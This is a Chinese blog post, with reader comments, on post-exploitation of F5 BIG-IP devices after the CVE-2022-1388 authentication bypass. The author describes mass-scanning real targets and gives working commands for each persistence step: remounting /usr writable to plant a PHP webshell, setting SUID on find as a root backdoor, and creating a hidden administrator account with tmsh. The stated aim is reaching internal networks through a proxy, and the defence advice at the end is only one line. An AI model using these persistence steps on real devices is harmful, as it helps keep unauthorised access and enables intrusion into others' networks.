基于CVE-2022-1388的F5 BIG-IP后渗透

固件安全
2022-05-31 17:54
63059

基于CVE-2022-1388的F5 BIG-IP后渗透

[TOC]

一、前言

CVE-2022-1388是F5 BIG-IP iControl REST 身份认证绕过漏洞,通过该漏洞可以以root权限执行命令,具体原理挖个坑以后填,本文以实战为例,讲解如何利用该漏洞进行持久化及后渗透,以及如何防御该漏洞。

二、目的

所有的网络渗透行为都不会也不应该是盲目的,在渗透之前攻击者就会明确其行动的最终目标。如邮件服务器、核心人物的办公电脑等,因此,在对路由器这类网络边界的漏洞挖掘和利用过程中,重点应在于获取其管理权限或者部分命令执行权限(而非root权限),获取这些边界的唯一目的便是网络穿透,达到进入内网的目的。只要该权限能开放代理(或vpn)就已经可以达成目的了。

综上所述,本文的后渗透利用将以开放代理为最终目的。

三、打点

漏洞出现后,使用exp对目标资产进行扫描,结果喜人,出现了若干可利用的F5 VPN。

四、信息搜集

获取权限之后,需要进行一些简单的信息搜集。众所周知,路由器等IoT设备为了追求性能,往往会使用阉割版linux,最终导致缺少很多命令。但是幸运的是,F5 BIG-IP系统的命令很充足,甚至还有apache、tomcat、php和jdk,这一发现令我们非常惊喜。自然而然想到使用php webshell做一个简单的持久化。

经过寻找,php web的目录位于/usr/local/www/xui/

五、问题一

当我们开始尝试写入shell时

echo '<?php phpinfo();?>' >  /usr/local/www/xui/common/phpinfo.php

令人难受的事情发生了,phpinfo.php并没有如期出现。

大部分IoT设备在很多情况下,会将整个硬盘设置为只读模式,这样就导致无法写入文件。

但是,获取的权限是root权限时,能不能通过重新挂载硬盘的方式将文件写入呢?

我们进行了新的一轮尝试

mount -o remount -rw /usr; 
echo '<?php phpinfo();?>' >  /usr/local/www/xui/common/phpinfo.php;
mount -o remount -r /usr

成功写入phpinfo.php

六、问题二

当我们将webshell传入后,发现了第二个问题,php webshell的权限是apache权限,那么当目标将漏洞修复之后,我们将再写无法通过重新挂载硬盘的方式将文件传入了。因此我们还需要一个root的后门。这里有一个很简单的方式,使用find进行suid权限维持。

回到root的shell,使用+s给find加上suid权限

chmod +s /usr/bin/find

再回到webshell中,通过执行如下命令即可以root权限执行命令。

find /etc/passwd -exec "命令" \;

七、问题三

完成简单的持久化之后,就去睡觉了,等到第二天再看的时候,目标果真将漏洞修复了,但是webshell还在,因此只能通过webshell进行简单的利用(如:传frp、reGeorg等),但这个非常不稳定极有可能被发现,并且无法进入管理页面。那么如何进行更加稳妥的操作呢?

根据以往的经验,一个成熟的路由器,一定会有一个自己的sh或者管理shell,以方便用户进行命令行的配置(如zeroshell、mikrotik等),那么F5会不会也有一个自己的操作shell呢?

翻看资料,果真有,叫tmsh。继续查看资料,发现可以用tmsh可以列出管理员用户信息

# 列出所有管理用户,权限及密码
tmsh list auth user

该命令列出了所有管理用户,权限及密码,密码加密了解不开。

既然可以列出用户,那么能不能创建用户呢?继续查看产品手册。

确实可以。

经过数次尝试,成功创建了管理用户。

find /etc/passwd -exec tmsh create auth user '用户名' partition-access add {all-partitions {role admin}} shell advanced shell password '复杂密码' \;

PS:密码一定要复杂,不然创不了用户。

进入管理后台。

此外,管理账号也可以通过ssh以root权限登录BIG-IP,并且没有只读的权限限制。

八、小结

至此,持久化的目的已经达成,也可以继续通过挂代理开vpn等方式进入目标内网了。

九、防御

BIG-IP作为F5管理软件完全没有必要开在外网,因此将该应用放在内网中不失为一种比较有用的防御办法。(及时打补丁也很重要)

分享到

参与评论

0 / 200

全部评论 5

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
tracert的头像
前排学习
2022-09-17 01:35
iotstudy的头像
先做一遍再来评论,哈哈哈。
2022-06-23 15:49
cxaqhq的头像
使用find进行suid权限维持 这个小技巧学到了。
2022-06-20 13:03
投稿
签到
联系我们
关于我们